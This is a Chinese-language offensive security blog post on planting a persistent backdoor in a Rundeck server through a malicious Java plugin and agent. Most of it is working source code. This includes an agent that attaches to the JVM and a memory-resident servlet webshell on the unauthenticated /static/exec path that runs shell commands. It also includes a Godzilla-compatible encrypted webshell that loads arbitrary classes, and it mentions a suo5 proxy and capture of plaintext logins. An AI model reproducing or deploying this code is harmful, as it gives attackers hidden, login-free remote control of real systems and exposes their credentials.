主要讲述拥有rundeck管理员权限编写并安装rundeck的JAVA插件后门以及Demo


Begin

最近碰到一个rundeck的环境,拥有管理员权限,只开放了4430端口,由于rundeck是通过java -jar 启动的,常规的写文件并没有用处,于是想到通过自编插件的方式用java agent劫持路由的方式来注入webshell以及其他的功能。本文章代码同步在Github上Rundeck-backdoor-plugin

Principle

使用Java agent注入测试,看是否能劫持到路由

根据观察,发现rundeck的插件功能和rundeck服务功能执行的用户权限都是rundeck用户权限,这就具备了前置注入条件了,省的权限不一导致我们的java agent没有权限读到rundeck web服务的JVM从而导致注入失败!

劫持哪个路由?需要做什么功能?

Rundeck 是一个基于 Java 开发的运维自动化与作业调度平台,采用 Grails 框架(基于 Groovy 和 Spring)构建 Web 层,并运行在内嵌的 Jetty 容器中。
所以不同于tomcat,我们要对Grails进行注入并且劫持路由。从功能完整性来看,我们需要找到不用认证就能访问的路由。从Rundeck的代码可以看到,不需要经过认证的路由如下路由配置,由SpringSecurity做的安全访问.

我们主要关注如下几个无需认证的路由:

1
2
3
4
5
6
/static/**
/feed/**
/assets/**
/user-assets/**
/actuator/**
/actuator/health/**

劫持这几个路由即可实现无需登录的访问入口,计划实现的功能有三个:哥斯拉/冰蝎 WEBSHELL、正向代理(suo5)、劫持登录路由记录明文账号密码,这三项已完全满足实战需求。

完整功能实现

1. 测试 Java Agent 注入 JVM

AttachAgent.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.test.agent;

import java.io.File;
import com.sun.tools.attach.VirtualMachine;

public class AttachAgent{
public static void main(String[] args) {
if(args.length<1){
System.out.println("usage: java -jar agent.jar <PID>");
System.exit(1);
}
String pid=args[0];
String jarPath= new File("/tmp/agent.jar").getAbsolutePath();
System.out.println("正在附加到进程"+pid+"...");

try {
VirtualMachine vm =VirtualMachine.attach(pid);
vm.loadAgent(jarPath);
vm.detach();
System.out.println("附加成功");
}catch (Exception e){
System.err.println("附加失败"+e.getMessage());
e.printStackTrace();
}
}
}

HelloAgent.java

1
2
3
4
5
6
7
8
9
10
package com.test.agent;

import java.lang.instrument.Instrumentation;
public class HelloAgent{
public static void agentmain(String args,Instrumentation inst){
System.out.println("==================");
System.out.println("注入HelloAgent成功 ");
System.out.println("==================");
}
}

2. 使用 Java Agent 注入 WebShell Servlet

由于Grails框架跟spring稍微不一样,获取到ServletContext多了一个步骤,所以需要调试Grails框架的代码获取ServletContext,调用链如下:

1
2
3
4
Holders.getGrailsApplication()   // → GrailsApplication(Grails 应用核心对象)
.getMainContext() // → ApplicationContext(Spring Bean 容器)
.getServletContext() // → ServletContext(Servlet 上下文)
.getContextHandler() // → ContextHandler(Jetty,最终目标)

拿到ContextHandler之后,手法就跟我们常规的一样了,直接动态代理注册Servlet就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
package com.test.agent;

import java.lang.instrument.Instrumentation;
import java.lang.reflect.*;
public class HelloAgent{

public static void agentmain(String args,Instrumentation inst){
System.out.println("==================");
System.out.println("注册路由实现简单WEBSHELL ");
System.out.println("==================");

try{
Thread.sleep(2000);

//1. 查找ClassLoader
ClassLoader cl = findWebClassLoader();
if (cl==null){
System.out.println("找不到 Classloader");
return;
}
System.out.println("找到Classloader");

//2.获取 ServletContext
Object servletContext=getServletContext(cl);
if (servletContext==null){
System.out.println("找不到servletcontext");
}
System.out.println("找到servletcontext");
registerServlet(servletContext, cl);

System.out.println("http://rundeck:4440/static/exec");
}catch (Exception e){
System.err.println("错误"+e.getMessage());
e.printStackTrace();
}

}

private static ClassLoader findWebClassLoader(){
try {
ThreadGroup root= Thread.currentThread().getThreadGroup();
while(root.getParent()!=null){
root=root.getParent();
}

Thread[] threads=new Thread[root.activeCount()*2];
root.enumerate(threads,true);

for (Thread t : threads){
ClassLoader cl = t.getContextClassLoader();
if(cl!=null){
try{
cl.loadClass("javax.servlet.Servlet");
return cl;
}catch(ClassNotFoundException e){}

}
}
} catch (Exception e) {
}
return null;

}

private static Object getServletContext(ClassLoader cl){
//rundeck 默认使用的Grails
try{
Class<?> holders=cl.loadClass("grails.util.Holders");
Object app = holders.getMethod("getGrailsApplication").invoke(null);
Object ctx = app.getClass().getMethod("getMainContext").invoke(app);
return ctx.getClass().getMethod("getServletContext").invoke(ctx);

}catch(Exception e){}

return null;
}





private static Object getServletHandler(Object servletContext) throws Exception {
Object contextHandler = null;

try {
contextHandler = servletContext.getClass()
.getMethod("getContextHandler")
.invoke(servletContext);
System.out.println("获取getContextHandler成功");
} catch (Exception e1) {

try {
contextHandler = servletContext.getClass()
.getMethod("getServletContextHandler")
.invoke(servletContext);
System.out.println("获取getServletContextHandler成功");
} catch (Exception e2) {

Field f = servletContext.getClass().getDeclaredField("this$0");
f.setAccessible(true);
contextHandler = f.get(servletContext);
System.out.println("获取this$0 字段成功");
}
}

if (contextHandler == null) {
throw new NullPointerException("无法获取 ContextHandler");
}

System.out.println("[+] ContextHandler: " + contextHandler.getClass().getName());

// 获取 ServletHandler
Object servletHandler = contextHandler.getClass()
.getMethod("getServletHandler")
.invoke(contextHandler);

System.out.println("[+] ServletHandler: " + servletHandler.getClass().getName());

return servletHandler;
}





private static void registerServlet(Object servletContext,ClassLoader cl) throws Exception{
//1.获取ServletHandler
Object servletHandler=getServletHandler(servletContext);
System.out.println("获取到servetHandler");
//2. 创建动态代理
Class<?> servletClass=cl.loadClass("javax.servlet.Servlet");
Class<?> holderClass= cl.loadClass("org.eclipse.jetty.servlet.ServletHolder");
Class<?> mappingClass= cl.loadClass("org.eclipse.jetty.servlet.ServletMapping");
System.out.println("加载基础类成功.");
//3. 动态代理
Object servlet=Proxy.newProxyInstance(cl, new Class[]{servletClass}, new InvocationHandler() {
public Object invoke(Object proxy,Method method,Object[] args){
if("service".equals(method.getName())){
try{
handlerRCE(args[0],args[1]);
}catch(Exception e){}
}
return null;
}
});

Constructor<?> ctor=holderClass.getConstructor(String.class,servletClass);
Object hodler=ctor.newInstance("ExecServlet",servlet);
servletHandler.getClass().getMethod("addServlet",holderClass).invoke(servletHandler,hodler);
Object mapping=mappingClass.newInstance();
mapping.getClass().getMethod("setServletName", String.class).invoke(mapping, "ExecServlet");
mapping.getClass().getMethod("setPathSpecs", String[].class).invoke(mapping, new Object[]{new String[]{"/static/exec"}});
servletHandler.getClass().getMethod("addServletMapping", mappingClass).invoke(servletHandler, mapping);
System.out.println("成功注册ExecServlet以及路由");
}

private static void handlerRCE(Object req,Object res) throws Exception{
Method getParam=req.getClass().getMethod("getParameter",String.class);
String cmd =(String)getParam.invoke(req, "cmd");
res.getClass().getMethod("setContentType", String.class).invoke(res,"text/html;charset=UTF-8");
Object w = res.getClass().getMethod("getWriter").invoke(res);
Method println=w.getClass().getMethod("println", String.class);
if(cmd==null||cmd.isEmpty()){
println.invoke(w,"<html><body>cmd:<br/><form method='POST'><input name='cmd' size='60' placeholder='command'/><button>exec</button></form></body></html>");
return;
}
println.invoke(w, "<html><body>Result:<pre>");
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
java.io.BufferedReader r = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line ;
while ((line = r.readLine()) != null) {
println.invoke(w, line);
}
r= new java.io.BufferedReader(new java.io.InputStreamReader(p.getErrorStream()));
println.invoke(w,"</pre><form method='POST'><input name='cmd' size='60' value='"+cmd+"'/><button>exec</button></form></body></html>");
}
}

3. 添加完整功能(suo5,Godzilla),确保功能正常

1. 添加Godzila注入

Godzila.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
package com.test.agent;

import java.lang.reflect.Method;


public class GodzillaShell {

private final String xc = "3c6e0b8a9c15224a";


class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}

public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}


class PageCtx {
private Object request, response, session;

PageCtx(Object req, Object resp, Object sess) {
this.request = req;
this.response = resp;
this.session = sess;
}

public Object getRequest() { return request; }
public Object getResponse() { return response; }
public Object getSession() { return session; }
}


public byte[] x(byte[] s, boolean m) {
try {
Class<?> cipherClass = Class.forName("javax.crypto.Cipher");
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");

Class<?> keyClass = Class.forName("javax.crypto.spec.SecretKeySpec");
Object key = keyClass.getConstructor(byte[].class, String.class)
.newInstance(xc.getBytes(), "AES");

Class<?> keyInterface = Class.forName("java.security.Key");
cipherClass.getMethod("init", int.class, keyInterface)
.invoke(cipher, m ? 1 : 2, key);

return (byte[]) cipherClass.getMethod("doFinal", byte[].class)
.invoke(cipher, s);
} catch (Exception e) {
return null;
}
}


public void process(Object req, Object resp) {
try {
Method getHeader = req.getClass().getMethod("getHeader", String.class);
String lenStr = (String) getHeader.invoke(req, "Content-Length");

if (lenStr == null || lenStr.isEmpty()) {
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 200);
Object writer = resp.getClass().getMethod("getWriter").invoke(resp);
writer.getClass().getMethod("print", String.class).invoke(writer, "OK");
return;
}

int len = Integer.parseInt(lenStr);
byte[] data = new byte[len];
Object inputStream = req.getClass().getMethod("getInputStream").invoke(req);
Method read = inputStream.getClass().getMethod("read", byte[].class, int.class, int.class);

int num = 0;
while (num < len) {
Integer r = (Integer) read.invoke(inputStream, data, num, len - num);
if (r == -1) break;
num += r;
}

data = x(data, false);

Object session = req.getClass().getMethod("getSession").invoke(req);
Method getAttribute = session.getClass().getMethod("getAttribute", String.class);
Object payload = getAttribute.invoke(session, "payload");

if (payload == null) {
ClassLoader loader = this.getClass().getClassLoader();
X classLoader = new X(loader);
Class<?> payloadClass = classLoader.Q(data);

Method setAttribute = session.getClass().getMethod("setAttribute", String.class, Object.class);
setAttribute.invoke(session, "payload", payloadClass);

resp.getClass().getMethod("setStatus", int.class).invoke(resp, 200);

} else {
req.getClass().getMethod("setAttribute", String.class, Object.class)
.invoke(req, "parameters", data);

Object f = ((Class<?>) payload).newInstance();

java.io.ByteArrayOutputStream out = new java.io.ByteArrayOutputStream();

Method equals = f.getClass().getMethod("equals", Object.class);
equals.invoke(f, out);
equals.invoke(f, new PageCtx(req, resp, session));
f.toString();


byte[] result = x(out.toByteArray(), true);
Object outputStream = resp.getClass().getMethod("getOutputStream").invoke(resp);
outputStream.getClass().getMethod("write", byte[].class).invoke(outputStream, result);
}

} catch (Exception e) {

}
}
}

HelloAgent.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public static void agentmain(String args,Instrumentation inst){
System.out.println("==================");
System.out.println("注册路由实现完整功能 ");
System.out.println("==================");

try{
Thread.sleep(2000);

//1. 查找ClassLoader
ClassLoader cl = findWebClassLoader();
if (cl==null){
System.out.println("找不到 Classloader");
return;
}
System.out.println("找到Classloader");

//2.获取 ServletContext
Object servletContext=getServletContext(cl);
if (servletContext==null){
System.out.println("找不到servletcontext");
}
Object servletHandler = getServletHandler(servletContext);
System.out.println("✓ 获取 ServletHandler");

System.out.println("找到servletcontext");
registerRCEServlet(servletHandler, cl);
System.out.println("http://rundeck:4440/static/exec");
registerGodzillaServlet(servletHandler, cl);
System.out.println("http://rundeck:4440/static/godzilla");
}catch (Exception e){
System.err.println("错误"+e.getMessage());
e.printStackTrace();
}

}

// ... findWebClassLoader / getServletContext / getServletHandler 方法同上,省略
private static void registerGodzillaServlet(Object servletHandler, ClassLoader cl) throws Exception{
Class<?> servletClass = cl.loadClass("javax.servlet.Servlet");
// 创建 GodzillaShell 实例
final GodzillaShell godzillaInstance = new GodzillaShell();

// 创建动态代理 Servlet
Object servlet = Proxy.newProxyInstance(
cl,
new Class[]{servletClass},
new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) {
if ("service".equals(method.getName())) {
try {
// ✅ 直接调用,无反射开销
godzillaInstance.process(args[0], args[1]);
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
);

// 使用辅助函数注册 Servlet
regServletMapping(servletHandler, servlet, cl, "GodzillaServlet", "/static/godzilla");

System.out.println(" Godzilla 注册成功");
}

// ... registerRCEServlet 方法同第 2 步,省略
private static void regServletMapping(Object servletHandler,Object servlet,ClassLoader cl,String servletName,String pathSpec) throws Exception{
Class<?> servletClass = cl.loadClass("javax.servlet.Servlet");
Class<?> holderClass = cl.loadClass("org.eclipse.jetty.servlet.ServletHolder");

Constructor<?> ctor = holderClass.getConstructor(String.class, servletClass);
Object holder = ctor.newInstance(servletName, servlet);
servletHandler.getClass().getMethod("addServletWithMapping",holderClass,String.class).invoke(servletHandler,holder,pathSpec);
}

2. 添加suo5正向代理

suo5也是常规的套路,使用defineClass字节码动态加载,把suo5.class先base64再调用defineClass加载即可,这里不贴代码,成品在github仓库中。

编写Rundeck 插件 && 正式环境注入插件

根据Rundeck官网的开发者文档我们可以知道实现插件的要素

项目类型 普通 JAR Rundeck Plugin JAR
入口点 main() 方法 executeStep() 方法
必需接口 StepPlugin 接口
必需注解 @Plugin @PluginDescription
MANIFEST.MF 普通清单 必需 Rundeck-Plugin-* 条目
依赖范围 compile provided
生命周期 JVM 启动执行 Rundeck 启动加载,作业执行时调用
ClassLoader AppClassLoader Rundeck Plugin ClassLoader

必需的 3 个要素

  1. 实现接口: implements StepPlugin
  2. 添加注解: @Plugin @PluginDescription
  3. 配置 MANIFEST: Rundeck-Plugin-Classnames

编译好插件之后,上传插件

激活插件

  1. 创建一个新的job
  2. 在workflow选择安装好的插件
  3. 激活

节点选择 “Excute locally”或者选择Dispatch to Nodes,把rundeck server给包含进来即可激活

验证插件运行正常

Ending

整个后门植入链路:Rundeck 插件Java Agent 注入 JVM动态注册 Servlet无需登录访问 WebShell / 代理,在拥有 Rundeck 管理员权限的场景下完整走通,三项功能(RCE WebShell、哥斯拉、suo5 代理)均验证正常。

再而把Java Agent转换成适用于rundeck的插件jar包,即可搞定了。

需要注意的是,/static/ 路由是 Rundeck 的静态资源路径,注入后的 Servlet 挂在该路径下不会触发 SpringSecurity 认证拦截,天然绕过了登录校验。整个过程的关键难点在于理解 Grails + Jetty 的 ServletContext 获取链路,与常规 Tomcat 场景有所不同,需要通过 Holders.getGrailsApplication() 一路向下拿到 ContextHandler

⬆︎TOP